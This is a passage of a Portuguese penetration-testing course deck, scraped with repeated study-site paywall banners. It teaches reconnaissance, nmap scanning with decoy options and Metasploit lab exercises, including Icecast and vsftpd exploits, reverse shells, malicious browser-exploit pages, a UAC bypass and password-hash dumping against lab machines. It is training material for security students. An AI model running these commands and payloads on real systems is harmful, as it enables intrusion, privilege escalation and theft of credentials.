Buscar

ATAQUE EM REDES

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes
Você viu 3, do total de 200 páginas

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes
Você viu 6, do total de 200 páginas

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes
Você viu 9, do total de 200 páginas

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Prévia do material em texto

Ataques em redes
Prof. Ricardo Tavares
E-mail ricardo@tavares.io
whoami
Windows PowerExploitationShell
Copyright (C) 2016 Microsoft Corporation. All rights
reserved.
PS C:\> whoami /all 
Corporate\RicardoTavares
Certifications
CISM,CRISC,CGEIT,GPEN,GCIH, e algumas outras.
Experience
20 anos em Segurança da Informação
Contact 
ricardo@tavares.io
mailto:ricardo@tavares.io
D
ic
a
s
 i
m
p
o
rt
a
n
te
s
NÃO COPIE E COLE OS COMANDOS DO SLIDE PARA O SEU SHELL. DIGITE CADA COMANDO 
INDIVIDUALMENTE.
Antes de iniciar cada exercício, por favor, verifique:
• Se o firewall do Windows está desativado;
• Se está executando os comandos solicitados com as devidas permissões. Em alguns exercícios serão 
solicitados que execute comandos com permissões administrativas. O nmap e msfconsole deverão ser 
sempre executados com permissões administrativas;
• Se tiver problemas com a execução de comandos dentro do Metasploit, finalize todos os jobs ativos 
utilizando o comando jobs –K e todas as sessões ativas utilizando o comando sessions –K;
• Se algum comando falhar, utilize a tecla TAB para auto completar um comando que esteja digitando, e 
confirmar se realmente o comando está sendo digitado corretamente;
• Se todas as recomendações falharam, reinicie o sua máquina virtual alvo e o seu KALI. Se mesmo assim 
os problemas continuarem, restaure o snapshoot do sistema operacional para um snapshoot
correspondente aos requisitos do exercício.
• Não será necessário a utilização do comando sudo no KALI.
Objetivo
Modelar as ações das ameaças do mundo real para encontrar 
vulnerabilidades de uma forma controlada e explorar estas vulnerabilidades 
determinando o risco ao negócio com o objetivo de recomendar defesas 
apropriadas que possam ser integradas na operação da organização alvo.
Definições
Ameaça - Agente ou 
ator que pode causar 
um dano.
Vulnerabilidade - Falha 
que pode ser explorada 
para causar algum 
dano.
Risco - Onde a ameaça 
e vulnerabilidade se 
sobrepõe.
Exploit - Código ou 
técnica que uma 
ameaça usa para tirar 
vantagem da 
vulnerabilidade.
Definições
Vulnerabilidade - Falha 
que pode ser explorada 
para causar algum 
dano.
Exploit - Código ou 
técnica que uma 
ameaça usa para tirar 
vantagem da 
vulnerabilidade.
Security Assessments (vulnerability
assessments)
Focado somente em encontrar 
vulnerabilidades de segurança, as quais 
poderão ser usadas ou não para obter ou 
roubar dados. Envolve o processo de olhar
para falhas de segurança, mais superficial.
Normalmente inclui revisões de políticas e
procedimentos, que normalmente 
não são incluídos no penetration
testing.
Security Audits
Testes sobre um rigoroso conjunto
de padrões (medir). Muitas vezes
realizado com um checklist 
detalhado.
Por que fazer um teste de instrusão
Achar vulnerabilidades 
antes que os 
criminosos.
Medir a efetividades 
sobre o que está 
implementado.
Ponto de decisão sobre 
a necessidade para 
ações ou recursos 
(decisores darão mais 
atenção).
Prova mais concreta do 
mundo real.
Tipos
Network 
services test Client-side test
Web 
application 
test
Remote dial-
up war dial 
test
Wireless 
security test
Social 
engineering 
test
Physical 
security test
Stolen 
equipament 
test
Cryptanal
ysis 
attack
Metodologias
Open Source Security
Testing Methodology
Manual (OSSTMM)
Nist (National 
Institute of 
Standart and 
Technology) Special 
Publication 800-115
NIST 800-53A
Penetration Testing 
Framework
Open Web
Application 
Security Project 
(OWASP) Testing 
Guide
Fases de um ataque
Fases de um ataque
Reconhecimento
Objetivo
Construir um inventário dos alvos potenciais obtendo informações através de 
origens públicas.
As informações colhidas deverão ser organizadas em uma planilha de 
inventário. É essencial informar como o alvo foi descoberto (Google, DNS zone 
transfer, etc...).
O que devo buscar
IP do 
Alvo
Nome do 
Alvo
Sistema 
Operacional
Como foi 
descoberto
Portas 
abertas
Vulnerabilidades Contas 
Admins e 
Senhas
Outras 
Infos
Onde devo buscar
WHOIS ARIN Buscadores
Metadados 
de arquivos DNS
Avaliação 
física
WHOIS
Consultar no InterNIC (Internet Network Information Center) 
Tools - www.geektools.com / www.whois.net
Pelo sistema operacional:
whois -h servidor_whois dominio
ARIN LOOKUP
Consultar
CIDR (classless inter-domain routing)
ARIN (american registry for internet numbers
LACNIC http://lacnic.net/ (Latin American and Caribbean Internet Address 
Registry)
POC - Point of Contact
Site Search
• a - Obter informações de inteligência competitiva (negócio, produtos e 
serviços, escritórios e VIPS, competidores, localização física e press releases
recentes);
• b - Procurar por vagas em aberto (Compreender os produtos usados na
empresa);
• Exemplo: site:dominio vagas.
• Procurar também em site de empregos (monster)
• c - Procurar por pessoas relevantes (linkedIn, Facebook,Twitter, MySpace).
Site Search (Google Dorks)
site:www.meusite.com certificados site:.com.br
certificados link:www.meusite.com
related:www.meusite.com intitle:index.of passwd
inurl:viewtopic.php
filetype:.pdf ou ext:.pdf (sinônimos) , tentar buscar sem o filetype também. 
robots.txt disallow filetype:txt (importante se colocar o site: também)
intitle:index.of intext:"secring.skr"|"secring.pgp"|"secring.bak"
http://www.meusite.com/
http://www.meusite.com/
http://www.meusite.com/
http://www.meusite.com/
Análise de Metadados
É possível obter nome do usuário, caminhos do sistema de arquivos, e-mail, software utilizado e outras 
informações importantes. Posso coletar estes documentos revendo os documentos enviados pelo alvo durante 
a fase de planejamento do teste, através de e-mails enviados, por downloads do website.
Ferramentas para Analisar Metadados de documentos
• ExifTool;
• Foca;
• Metadata Extraction Tool (by NLNZ);
• Strings (por padrão procura strings em ASCII. Para buscar Unicode devo utilizar e -b (16 bit big endian) e e -l 
(litle Endia). Por padrão procura por 4 ou mais caracteres, -n é para usar se precisar de menos caracteres. No 
strings do linux fazer a busca uma por vez ascii, e em seguida unicode usando -b, e -l.
Consulta no DNS
DNS records (NS, A, HINFO, MX, TXT, CNAME, SOA, RP,
PTR, SRV.
Querys padrões de DNS vão pela porta UDP 53,
enquanto os zone transfers vão pela porta TCP 53.
Recursive lookup - Se o DNS não possui a informação 
que ele solicita, ele faz o foward da requisição para
outro servidor DNS com o objetivo de obter a
informação.
Por padrão o nslookup usa a recursividade. (RD bit = 1
- Recursion desired).
DNS cache Snooping - Técnica de investigar o que existe
no cache de um servidor DNS.
host -v -t any site.com 10.1.1.12 
host -v -t any -l site.com
10.1.1.12
-l = zone transfer
-r = desativa recursividade
dig @[server] [name] [type] 
zone transfer = -t AXFR
incremental zone transfer = -t IXFR=N
(providenciar registros modificados 
desde que o serial number do SOA for
N)
+ norecursive
+ recursive
nslookup
server [ip] 
set type=any
ls -d [dominioalvo]
ls -d [dominioalvo] [> filename] 
view [filename]
set norecursive (bom para determinar o
que existe no cache do dns)
Maltego
Conceito de Transforms - Pega um pedaço do dado e converte em outro através 
de um lookup. www.paterva.com/maltego
Exercício 1 – Coleta de Informações
1– Abra o shell do KALI (terminal) e instale o whois.
• apt-get install whois
2– Obter informações dos domínios abaixo com o comando whois.
• whois gmail.com
• whois daryus.com.br whois tavares.io
• Obter os endereços de servidores de DNS, contatos de e-mail de responsáveis e informações que 
entenderem que são úteis. 3 – Realizar as consultas abaixo para todos os domínios listados no passo 2.
• dig <dominio> +noall +answer
• dig –t ns <dominio>
• dig –t mx <dominio> dig –t soa <dominio>
• 4 – Repetir os passos com o comando NSLOOKUP e host.
Exercício 1 – Coleta de Informações
1. – Selecione um site qualquer e realizedownload de arquivos para uma posterior análise de metadados.
wget -nd -r -R html,html,php,asp,aspx,cgi -P /home/tools/metadados www.site.com
• -nd: No directories (coloca todos os arquivos em um diretorio especifico)
• -r : Download recursivo
• -P [diretório] - Prefixo de saida para localizacao de arquivs
• -R/A - Restringe ou permite
2. – Realize a análise dos metadados dos arquivos obtidos e insira as informações identificadas na tabela a seguir.
Nome do usuário Conta do usuário Aplicação usada Versão de software E-mail Diretório Outros
Xls
Doc
PDF
exiftool nomedoarquivo 
strings nomedoarquivo
strings -e l nomedoarquivo |grep '\\' 
strings -e b nomedoarquivo |grep '\\'
Fases de um ataque
Scanning
Objetivo: Aprender mais sobre o alvo, e encontrar aberturas para interagir com o ambiente. Determinar
endereço de rede, topologia, sistema operacional, portas abertas, serviços e vulnerabilidades.
Network sweeping 
(probe packets 
para ver se vivo)
Network Tracing 
(topologia)
Port scanning
OS Fingerprinting 
(active and 
passive)
Version Scanning
Vulnerability 
scanning
Scanning
TCP Control Bits
- Conhecidos como Control Flags ou Communication Flags são: SYN,ACK,RST,FIN,URG,PSH, CWR,ECE - cada bit pode ter o valor de 0 ou 1.
• SYN - O sistema deverá sincronizar os números de sequências;
• ACK - Conhecimento dos pacotes anteriores;
• RST - A conexão deverá ser resetada por erro ou interrupção;
• FIN - Não existe mais dados para enviar. A sessão será down;
• PSH - O dado deverá serguir atraves da camada tcp imediatamente em vez de segurá-lo e esperar por mais dados;
• URG - Existem dados importantes que deverão ser manuseados rapidamente;
• CWR - Congestion Window Reduced - devido a um congestionamento da rede a fila de pacotes pendentes para enviar foi reduzido;
• ECE - Explicit Congestion Notification Echo - a conexão está experimentando congestionamento.
Scanning - Nmap
Tipos de scan
• -sT Connected Scan (3way handshake, mas envia reset se a conexão foi feita no final) - executada com ou 
sem root e menos controle do nmap porque usa a chamada do OS connect().
• -sS - SYN SCAN (half-open) - requer privilégio root se recebe o syn-ack envia reset para o host.
• -sA - ACK - útil para identificar hosts, mas não diz se a porta está aberta ou fechada. Usar em um established
filter no roteador.
• -sF - FIN
• -sN - Null
• -sX - XMAS tree Scan - FIN, PSH e URG.
• -sM - Maimon - FIN e ACK porque algumas pilhas tcp derivadas do bsd irão responder a sondagem com 
RESET se a porta está fechada, e nada se estiver aberta.
Scanning
Three-Way Hand-shake
• Syn (Seq=ISNA ACK=0) -> Syn-ACK (Seq=ISNB ACK=ISNA+1) -> ACK (Seq=ISNA+1 ACK=ISNB+1) - Na
• essência existem dois streams de sequência de números na série de pacotes, uma de A para B e outra de B para A.
Lembrar que: (tecnicas half-open scanning)
• quando a porta esta aberta recebo o SYN-ACK;
• quando a porta está fechada recebo um RST-ACK;
• bloqueada por firewall recebo ICMP Port Unreachble;
• se não receber nada de volta a porta pode estar bloqueada por firewall.
Não existem Control Bits no UDP.
Lembrar que:
• udp in e upd back - porta aberta;
• udp in e icmp port unreachble back - porta fechada (ou bloqueada pelo firewall) -> Se receber o port unreachble (ICMP 
type 3, code 3) a porta esta fechada e se receber outros erros type 3 com o codigo 1,2,9,10 ou 13 a porta está
• filtrada.
• Udp in sem volta - a porta pode esta fechada, o firewall pode esta bloqueando a entrada ou saída, a porta esta aberta 
mas esperando um dado especifico no payload (nmap tente enviar um payload a partir da versao 5.20).
Scanning - Nmap
nmap -v -n -Pn -g 53 -D 10.0.0.1 -sS -sV -O 10.0.0.1/24 -p 135,445 --traceroute –reason
DETALHAMENTO
• -v MODO VERBOSE PARA RECEBER MAIS INFORMACOES DURANTE O SCAN - INFORMACOES DE DIAGNOSTICO
• -n PARA NAO RESOVER NOME, E NAO USAR O DNS DO MEU ALVO PARA CHAMAR A ATENCAO
• -Pn NAO DEPENDER DE ICMP (PING). SE O ALVO ESTA COM O PING DESATIVADO O SCAN SERA FEITO
• -g 53 INICIAR O SCAN PELA PORTA 53 PARA ENGANAR O ALVO, ASSIM AS DEFESAS DO ALVO PODEM PENSAR
QUE ESTA SENDO FEITA UMA COMUNICACAO COM O DNS NO LUGAR DO SCAN E DEIXAR PASSAR O SCAN.
• -D <IP DO DNS> FINGIR QUE QUEM ESTA FAZENDO O SCAN É O DNS DO ALVO (DECOY)
• -sS TIPO DE SCAN SYN (NAO FAZ O THREE WAY HANDSHAKE INTEIRO)
• -sV VERIFICA A VERSÃO DA PORTA QUE ESTA ABERTA, ISTO É, IDENTIFICA O SERVICO
• -O IDENTIFICA A VERSAO DO SISTEMA OPERACIONAL
• -A USAR EM SUBSTUICAO DO -sV e -O. TAMBÉM REALIZA UM PEQUENO SCAN DE VULNERABILIDADE
• --script=smb * FAZ SCAN DE VULNERABILIDADE UTILIZANDO TODOS OS SCRIPT
SMB*.NSE 10.0.0.1/24 REALIZA O SCAN NA SUBREDE 10.0.0.1/24
• -p 135,445 REALIZA O SCAN NAS PORTAS TCP 135 E 445
• --traceroute MONTA A TOPOLOGIA DE REDE COM UM TRACEROUTE DE TRAZ PARA FRENTE
• --reason VERIFICA O PORQUE QUE A PORTA ESTA ABERTA O FECHADA (MOSTRA O SYN, ACK)
Exercício 2 - Nmap
1– Abra o shell de sua distribuição Linux (terminal).
2– Execute o NMAP para verificar quais portas estão abertas em sua estação de trabalho Windows.
nmap <IP Windows>
Quais portas estão abertas?
2- Ative o Icecast, desative o firewall do Windows e execute o NMAP novamente, mas desta vez obtendo mais informações através do parâmetro 
verbose.
nmap –v <IP Windows>
Quais portas estão abertas?
3- Execute o NMAP para verificar se as portas 22,23, 53, 80, 135 e 443 TCP estão abertas em seu servidor Linux (máquina virtual Metasploitable).
nmap -v -sT <IP METASPLOITABLE> -p 22,23,53,80,135,443
Quais portas estão abertas?
Exercício 2 - Nmap
5- Execute o NMAP para verificar EXATAMENTE quais serviços estão ativos nas portas abertas do exercício anterior.
nmap -v -sT -sV <IP METASPLOITABLE> -p 22,23,53,80,135,443 (inserir somente as portas que estão abertas).
Quais os serviços existentes em cada uma das portas?
6– Execute o NMAP para verificar quais são as portas abertas, serviços correspontes e o sistema operacional da sua estão de trabalho Windows.
nmap –v –sT –sV –O <IP Windows>
7– Execute o NMAP para verificar quais portas UDP estão abertas na sua estão de trabalho Windows e em seu Servidor Linux.
nmap –v –sU < IP METASPLOITABLE > -p 161
8 - Evite ser identificado, execute o NMAP usando um HALF SCAN (SYN) (-sS) em seu ambiente Windows e Linux, evitando a
resolução de nomes (-n) e usar o ping para verificar se o host está ativo (Pn).
nmap –v –n –Pn –sS –sV –O <ip Windows>
nmap –v –n –Pn –sS –sV –O < IP METASPLOITABLE>
9– Busque por possíveis vulnerabilidades no ambiente Linux e salve o resultado.
Nmap –v –n –Pn –sS –sV –A <IP METASPLOITABLE> -oA resultado cat <arquivo salvo de
resultado>
Exercício 3 – CVE-2017-0143
Você quer saber se sua empresa atualizou todos os computadores com o patch da Microsoft MS17-010, evitando assim a 
vulnerabiliade identificada pelo CVE-2017-0143.
1 – Execute o NMAP buscando a vulnerabilidade em todos os computadores que possuem a porta 135 e 445
abertas, salvando o resultado para arquivo.
sudo nmap -v -n -Pn -sS -sV --script smb-vuln-ms17-010,smb-double-pulsar-backdoor,smb-vuln-cve-2017-7494 --script-args
vulns.short
<range de ip de seu ambiente virtual> -p 135,445 --open -oA MS17010
• Exemplo:
sudo nmap -v -n -Pn -sS -sV --script smb-vuln-ms17-010,smb-double-pulsar-backdoor,smb-vuln-cve-2017-7494 --script-
args vulns.short 10.0.0.1/24 -p 135,445 --open -oA MS17010
2- Verifique quais computadores estão vulneráveis.
cat MS17010.nmap | grep –i VULNERABLE
Esta é uma forma rápida e eficiente de conhecer se o seu ambiente está vulnerável.
Exploração
Entrando no território inimigo
Exploit
O que é um exploit?
Metasploit Exploitation
Framework
O Metasploit é um ambiente para executar e criar diferentes 
exploits de forma flexível. Ele poderá ser utilizado para 
simplificar a criação e padronizar o uso de exploits.
O Metasploit é divido em conceitos de exploits, payloads e 
módulos auxiliares.
• Exploit - Tira vantagem de uma falha em um programa 
alvo vulnerável e ofaz executar um payload;
• Payload - Faz o alvo fazer algo que o atacante quer;
• Módulos auxiliares - Fazem várias tarefas, incluindo o 
scanning.
Metasploit Exploitation
Framework
O módulo de exploits do Metasploit é divido
em:
• auxiliary - inclui port scanners, verificadores
de vulnerabilidades e outros;
• encoders - converte exploits e payloads para
uma forma diferente com o objetivo de fazer
o bypass e evadir firewall e ids;
• exploits – exploits usados para comprometer
o alvo;
• payloads - arsenal de payloads.
Metasploit Exploitation
Framework
O arsenal de exploits é organizado por sistema
operacional, contendo o exploit para o sitema
operacional e para os programas que são executados
neles.
Além da organização por sistema operacional, existem
as categorias:
• multi - são os exploits que atacam varios tipos de
sistema operacional, como browsers, php exploits,
samba.
• test - exploits experimentais, frequentemente
usados como um exploit para desenvolvimento de
novos exploits.
Metasploit Exploitation
Framework
Os payloads são os códigos executados no alvo após a 
exploração. No metasploit existem as categorias a seguir:
• singles - stand-alone payloads que possuem sua 
funcionalidade e comunicação agrupada. (metsvc, 
shellbindtcp,shellreversetcp)
• stagers - pedaços de uma payload que primeiro é 
carregado e permite a um stage seguinte se comunicar 
com o atacante de diversas formas flexiveis. Os stagers
carregam o stage na maquina alvo. (conexão reversa tcp)
• stages - pedaços de payload que implementa uma 
função, mas comunicam-se usando um stager já 
carregado. (remote shell, meterpreter, vncinject, 
dllinject)
stager + stage = full payload
single = full payload
Metasploit Exploitation
Framework
Metasploit Interpreter = Meterpreter - payload que age
como um shell especializado executando dentro da memória
de um processo metasploit-exploited. Consiste de uma serie
de DLLs injetadas em processos na memória, não são
criados processos separados em execução, o foco é
Windows.
É só mais uma dll carregada em um processo na maquina
alvo (não chama atenção).
PARA OBTER A LISTA DE DLLS CARREGADAS EM TODOS OS
PROCESSOS NO WINDOWS EXECUTAR O COMANDO
TASKLIST/M.
Como o metasploit é residente na memória ele desaparece
no boot.
Metasploit Exploitation Framework
Comandos básicos do meterpreter
?/help
exit/quit - sai do meterpreter removendo da 
memória do alvo
sysinfo shutdown/reboot reg
cd lcd
pwd/getwd ls
cat
• mkdir/rmdir edit
• getpid getuid ps
• kill
• execute (executa um programa com os 
privilégios do
• processo no qual o meterpreter está rodando) 
migrate (injeta a dll no processo alvo e remove 
do anterior) - fornece acesso a tudo o que o 
processo oferece.
Consciência
Situacional
Ganhar consciência situacional para 
planejar os próximos passos do ataque.
Estabelecer
persistência
Preparar o ambiente para que você volte 
quando necessário.
Escalar Privilégio
Obter o máximo possível de privilégios para
acessar e controlar o que for necessário.
ALVO: conta de sistema
Estabelecer
persistência
Invadir o castelo e matar o rei.
Alvo: Conta administrativa do domínio.
Identificar o que é
importante
Identificar arquivos que sejam 
importantes, verificar a última data de
acesso e contaminar os arquivos mais 
acessados.
Identificar o que causa 
impacto
Identificar o que realmente impacta o 
negócio, e demonstrar qual o impacto se o
risco for materializado.
Exploração
Service Side
Exercício 4 (shell bind)
Antes de executar este exercício, ativar o ICECAST no computador alvo.
1– Verificar os serviços disponíveis no computador alvo (Windows).
No shell (terminal) do Linux executar o comando a seguir:
$ nmap -v -n -Pn –g 53 -sS -sV -O --script=smb-os-discovery.nse 192.168.16.20 --traceroute --reason
(192.168.16.20 é o endereço IP do alvo – Windows)
Verifique se o NMAP informa a existência de alguma porta aberta com o serviço do ICECAST. Caso o ICECAST não seja exibido, desative o firewall do 
computador alvo executando o comando netSh advfirewall set allprofiles state off no prompt.
2– Acessar o msfconsole.
$ msfconsole
O msfconsole deverá ser executado com as permissões administrativas.
3– Localizar um exploit para o ICECAST no METASPLOIT.
msf> search icecast
4– Selecionar o exploit identificado.
msf> use exploit/windows/http/icecast_header
Exercício 4 (shell bind)
5– Selecionar o payload.
msf exploit(icecast_header) > set payload windows/shell/bind_tcp
6– Verificar as opções necessárias que deverão ser configuradas antes da exploração.
msf exploit(icecast_header) > show options
7 – Configurar o endereço ip do alvo, a porta de serviço utilizada pelo Icecast que está aberta, e qual porta que será 
aberta para acessar o shell (aleatória) no alvo.
msf exploit(icecast_header) > set RHOST 192.168.16.20
msf exploit(icecast_header) > set RPORT 8000 msf
exploit(icecast_header) > set LPORT 7777
8– Inicie a exploração
msf exploit(icecast_header) > exploit
O que aconteceu?
9– Digite hostname no shell do windows e verifique se é o Windows que você configurou.
10- Digite exit no shell, pressione CTRL +C e em sequência a tecla y para confirmar a finalização da sessão e voltar
ao msfconsole. 11 - No mundo real qual é o problema com essa técnica?
Exercício 5 (shell reverse)
1– Encerre e abra o programa do Icecast no computador alvo, mantendo o seu serviço ativo.
2– Selecionar o exploit do Icecast.
msf> use exploit/windows/http/icecast_header
3– Selecionar o payload.
msf exploit(icecast_header) > set payload windows/shell/reverse_tcp
4– Quais foram as novas opções que apareceram em comparação com o exercício anterior?
5 – Configurar o endereço ip do alvo, a porta de serviço do Icecast que está aberta, o seu endereço IP, e em
qual porta de seu computador o shell reverso deverá retornar (aleatória). Iniciar a exploração.
msf exploit(icecast_header) > set LHOST 192.168.16.10 msf
exploit(icecast_header) > set RHOST 192.168.16.20
msf exploit(icecast_header) > set RPORT 8000 msf
exploit(icecast_header) > set LPORT 7777 msf
exploit(icecast_header) > exploit
Exercício 5 (shell reverse)
6– Qual a diferença entre o LPORT deste exercício para o do exercício 1?
7– No computador alvo confirme a conexão reversa executando o comando a 
seguir no prompt (shell) do Windows.
netstat -na | findstr ESTABLISHED (Identificar qual conexão direciona para o IP
do seu host Debian / KALI)
8- Digite exit no shell, pressione CTRL +C e em sequência a tecla y para
confirmar a finalização da sessão e voltar ao msfconsole.
Exercício 6 (Linux)
1– Verificar os serviços disponíveis no computador alvo (Metasploitable).
No shell (terminal) do Linux executar o comando a seguir:
$ nmap -v -n -Pn –g 53 -sS -sV -O 192.168.16.30 --traceroute --reason
(192.168.16.30 é o endereço IP do alvo –Metasploitable)
• Quais portas estão abertas?
2– Procure o exploit para o serviço vsftp
msf> search vsftp
3– Selecionar o exploit identificado com um payload de shell reverso.
msf> use exploit/unix/ftp/vsftpd_234_backdoor
4– Escolher o payload
msf> set payload cmd/unix/interact
Exercício 6 (Linux)
5– Configurar o endereço ip do alvo, a porta de serviço do VSFTP que está aberta.
msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.16.30 msf exploit(vsftpd_234_backdoor) >
set RPORT 21
6– Realizar a exploração.
msf> exploit
7– Verificar os diretórios do servidor alvo.
ls -la
8– Obter o shell interativo.
python -c "import pty;pty.spawn('/bin/bash')"
9– Veificar informações sobre a versão do Linux do servidor alvo.
uname -a
Exploração
Client Side
Exercício 7 (browser_autopwn2)
1– Obtenha informações sobre o browser_autopwn
msf > info auxiliary/server/browser_autopwn2
2– Selecione o auxiliary browser_autopwn no Metasploit.
msf > use auxiliary/server/browser_autopwn2
3– Verifique as opções do auxiliary e realize as configurações necessárias.
msf auxiliary(browser_autopwn2) > show options
msf auxiliary(browser_autopwn2) > set LHOST 192.168.16.10(IP do seu host Debian / KALI) msf
auxiliary(browser_autopwn2) > set SRVHOST 192.168.16.10 (IP do seu host Debian / KALI) msf auxiliary(browser_autopwn2)
> set SRVPORT 80
• msf auxiliary(browser_autopwn2) > set URIPATH /relatorio
4– Execute o exploit.
msf auxiliary(browser_autopwn2) > exploit
(Aguarde a mensagem ”Server Started”, pode demorar alguns segundos)
Exercício 7 (browser_autopwn2)
5 – Através do Windows, abra o Internet Explorer e acesse o endereço http://192.168.16.10/relatorio.
Depois de exibir ”Command shell session opened” algumas vezes pressione ENTER. 
6 – Verifique quantas sessões de invasão vocês possui
msf auxiliary(browser_autopwn2) > sessions -l (sessions –l = letra “L” de list)
7– Interagir com alguma sessão
msf auxiliary(browser_autopwn2) > sessions –i <número de qualquer sessão aberta>
8– Digite o comando para visualizar diretórios.
dir
9 – Cancele a invasão pressicionando CTRL + C e confirmando com a tecla y se necessário. 10 – No metasploit cancele os jobs criados 
por este exploit.
msf auxiliary(browser_autopwn2) > jobs -K
11 – O que aconteceu exatamente durante o processo de invasão?
http://192.168.16.10/relatorio
Exercício 7 (browser_autopwn2)
1 – Solicite informações sobre o exploit adobe_flash_hacking_team_uaf. info exploit/multi/browser/adobe_flash_hacking_team_uaf
Qual o objetivo deste exploit?
2 – Selecione o exploit adobe_flash_hacking_team_uaf. use exploit/multi/browser/adobe_flash_hacking_team_uaf
3– Selecione o payload windows/meterpreter/reverse_tcp.
set target 0 (para poder escolher os payloads nativos do Windows)
set payload windows/meterpreter/reverse_tcp
4– Verifique as opções que devem ser configuradas no PAYLOAD.
show options
5– Configure a opções necessárias para o PAYLOAD.
set LHOST 192.168.16.10
set LPORT 443
set SRVHOST 192.168.16.10
set SRVPORT 80
set URIPATH /relatorio
Exercício 7 (browser_autopwn2)
6– Inicie o exploit.
exploit -j -z
-j – Inicia o exploit no contexto de job.
-z – Não interage com a sessão.
Se o exploit falhar na execução, execute o comando jobs –K para remover todos os jobs ativos que foram
criados em exercicíos anteriores.
O que mudou após a exploração?
7 – Através do Windows, abra o Internet Explorer e acesse o endereço http://192.168.16.10/relatorio. Será
iniciado o processo de exploração.
8– Liste as sessões.
Pressione a tecla ENTER após ser exibido ”Meterpreter session X opened” e execute os comandos a seguir:
sessions –l
(sessions –l = letra “L” de list)
http://192.168.16.10/relatorio
Exercicio 8 (browser e meterpreter)
9– Interagir com a primeira sesão aberta.
sessions –i 1 (ou utilize o número da sessão correspondente e listada após o comando
sessions –l)
10– Agora você está no meterpreter. Obtenha informações sobre o alvo.
sysinfo
Quais foram as informações obtidas?
11– Com qual usuário você está conectado?
getuid
12– Qual processo você está usando? getpid (obtém o seu
processo)
ps (lista todos os processos. Agora localize o seu processo pelo número na lista de processos)
Exercicio 8 (browser e meterpreter)
13 – Abra o shell da máquina alvo comprometida.
execute -f cmd.exe -c -i
No shell do Windows que será aberto, execute os comandos a seguir e informe o resultado após a execução de cada 
comando:
• hostname
• ipconfig
• dir
• exit
Verifique no computador alvo se aconteceu algo estranho. O que aconteceu? 
14 – Abra o shell da máquina alvo comprometida.
shell (o comando shell executará o shell do Windows da mesma forma que o comando informado no exercício anterior.)
No shell do Windows que será aberto, execute os comandos a seguir e informe o resultado após a execução de cada 
comando:
• Hostname
• ipconfig
• dir
• exit
Qual foi a diferença entre o passo 13?
Pós exploração
Escalação de Privilégio
Exercicio 9 (escalação de privilégio)
Desbloquear a conta de administrador local do seu Windows e configurar a palavra cyber como a senha para
a conta.
1 – Reinicie o serviço do ICECAST, confirme se o mesmo está inicializado e funcionando, e realize a 
exporação usando o payload windows/meterpreter/reverse_https.
2– Após abrir o shell do meterpreter verifique qual o seu usuário/privilégio.
• getuid
3– Obtenha o privilégio de sistema.
getsystem
O que aconteceu? Se você não obteve o privilégio administrativo, provavelmente você foi barrrado pelo UAC
(User Account Control) do Windows.
Exercicio 9 (escalação de privilégio)
• 4 – Realizando o bypass no User Account Control.
a – Saia do meterpreter e volte para o shell do msfconsole.
background
b – Selecionar o Exploit bypassuac_injection
use exploit/windows/local/bypassuac_eventvwr
c – Configurar a sessão do exploit com o número da sessão atual que está usando no 
meterpreter. sessions –l (lista as sessões caso não saiba o número da sessão)
set session 1 (insira o número da sessão que está usando)
d – Selecionar o tipo de alvo sendo 0 para sistemas operacionais de 32 bit e 1 para sistemas operacionais
de 64 bit. set target 1
e – Selecionar e configurar o payload de exploração. set payload
windows/x64/meterpreter/reverse_tcp set LHOST 192.168.16.10
set LPORT 7777
f – Iniciar a exploração
exploit -j -z (se tiver falhas na exploração utilize o exploit exploit/windows/local/bypassuac. Se as falhas continuarem siga as 
DICAS informadasna configuração do laboratório)
Exercicio 9 (escalação de privilégio)
5– Pressionar ENTER e verificar as sessões abertas. Interagir com a nova sessão criada pelo exploit bypassuac.
• essions –l (letra L)
sessions –i 1 (numero da nova sessão)
6– Após abrir o shell do meterpreter verifique qual o seu usuário/privilégio.
• getuid
7– Obtenha o privilégio de sistema.
getsystem
O que aconteceu?
8– Verifique qual o seu usuário/privilégio.
getuid
Qual usuário você está utilizando agora?
/local/bypassuac. Se as falhas continuarem siga as DICAS informadasna configuração do laboratório)
Exfiltration
Senhas
Exercicio 10 (Obtendo o hash)
1 – Continuando o exercício anterior, após obter o privilégio de SYSTEM, obtenha o hash da senha dos usuários do sistema operacional 
executando os comandos a seguir.
hashdump
run post/windows/gather/smart_hashdump
O que aconteceu?
Se você não conseguiu obter o hash você não está com o privilégio adequado.
2– Para obter o privilégio adequado migre o seu processo para o lsass.exe (Local Security Authority Subsystem Service).
getpid (procurar o processo lsass.exe)
